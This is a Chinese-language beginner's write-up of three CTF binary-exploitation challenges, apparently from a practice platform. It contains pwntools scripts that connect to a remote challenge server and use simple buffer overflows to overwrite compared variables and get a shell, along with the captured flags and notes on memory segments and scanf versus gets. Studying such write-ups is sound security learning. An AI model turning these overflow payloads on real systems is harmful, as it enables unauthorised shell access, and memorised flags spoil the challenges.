找到了初学pwn的笔记_(:з」∠)_
主函数赤条条地写着system("/bin/sh")
预计直接访问就可以getshell
from pwn import *
p=remote('220.249.52.134',46898)
p.interactive()
cyberpeace{cecb28ddca24a0b26fe5689bc39dc1ee}
NX保护,堆栈不可执行
打印欢迎界面,输入,判断输入是否等于1853186401,如果是则执行sub_400686()函数
sub_400686:直接访问flag文件夹
那剩下的就是想办法找到溢出点然后访问400686地址
伪代码中,read限定读取16字节长度,但还是有操作空间,点进 unk_604068观察:
601068和输入比较的dword_60106c只差4字节,在16字节范围内。
那么可以尝试覆盖四字节到达60106C的首地址,然后将1853186401添加进去,这样就能满足跳转到 400686的条件了。
一个程序本质上都是由 bss段、data段、text段三个组成的。
※※ bss段可以看作未初始化的全局变量的内存区域,在初始化时被清零↓
在采用段式内存管理的架构中(比如intel的80x86系统),bss段(Block Started by Symbol segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,一般在初始化时bss 段部分将会清零。bss段属于静态内存分配,即程序一开始就将其清零了。
** 在C语言之类的程序编译完成之后,已初始化的全局变量保存在.data 段中,未初始化的全局变量保存在.bss 段中。
** text和data段都在可执行文件中(在嵌入式系统里一般是固化在镜像文件中),由系统从可执行文件中加载;而bss段不在可执行文件中,由系统初始化。
from pwn import *
p=remote('220.249.52.134',50304)
payload=('a'*4+p64(1853186401))
#这里可以加一句 p.recvuntil("bof") 读到bof才开始执行后面的payload
p.sendline(payload)
p.interactive()
## flag
cyberpeace{93a42e60f831a728f1bc57141c35f677}
提示输入生日,判断生日年份输入,当等于1926的时候,有两个输出,一个提示不能出生在1926,一个在进行第二次输入后get shell。
难怪题目说“只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确”
不跳过第一个1926判断确实一直显示错误。
第一次尝试:
太天真了,以为存好1926然后填充可以直接跳到400910
随后多次进行修改测试,发现这里scanf无论怎么修改都没反应,应该时找错地方了……
看了别人的wp,发现溢出点在gets,就是第二次1926的那块。当初死脑筋了,一开始不一定非要输入正确的1926,而是除10和1926以外别的数。这样就能走到gets函数了。
观察gets的v4的范围,发现和v5挨得很近。v4栈底往上四字节就是v5栈底,后面栈空间部分重复。只用输入 0x20-0x18=8个字节就可以从v4访问到v5。
重新写EXP:
第一次输入不能等于10和1926,这个刚开始写忘记发送值了,结果显示连接地址成功后就没下文……后面补上碰到提示后的两次sendline。
from pwn import *
p=remote('220.249.52.134',34782)
payload=('a'*8+p64(1926)) #v4占8位,挤到v5首地址,将原本寄存输入的1925改成1926
p.recvuntil("Birth?")
p.sendline("1925")
p.recvuntil("Name?")
p.sendline(payload)
p.interactive()
cyberpeace{c64190525e9473a93bcf20ec083a72e3}
scanf可以溢出吗?
scanf没有限定读取范围,如果把v5的空间挤满了可不可以直接访问shell?
1.scanf不能接受空格、制表符Tab、回车等;对末尾回车符的处理:把回车符保留在缓存中。bai
gets能够接受空格、制表符Tab和回车等;对末尾回车符的处理:接收回车,但把回车替换为\0。
2.scanf :当遇到回车,空格和tab键会自动在字符串后面添加'\0',但是回车,空格和tab键仍会留在输入的缓冲区中。
gets:可接受回车键之前输入的所有字符,并用'\n'替代 '\0'.回车键不会留在输入缓冲区中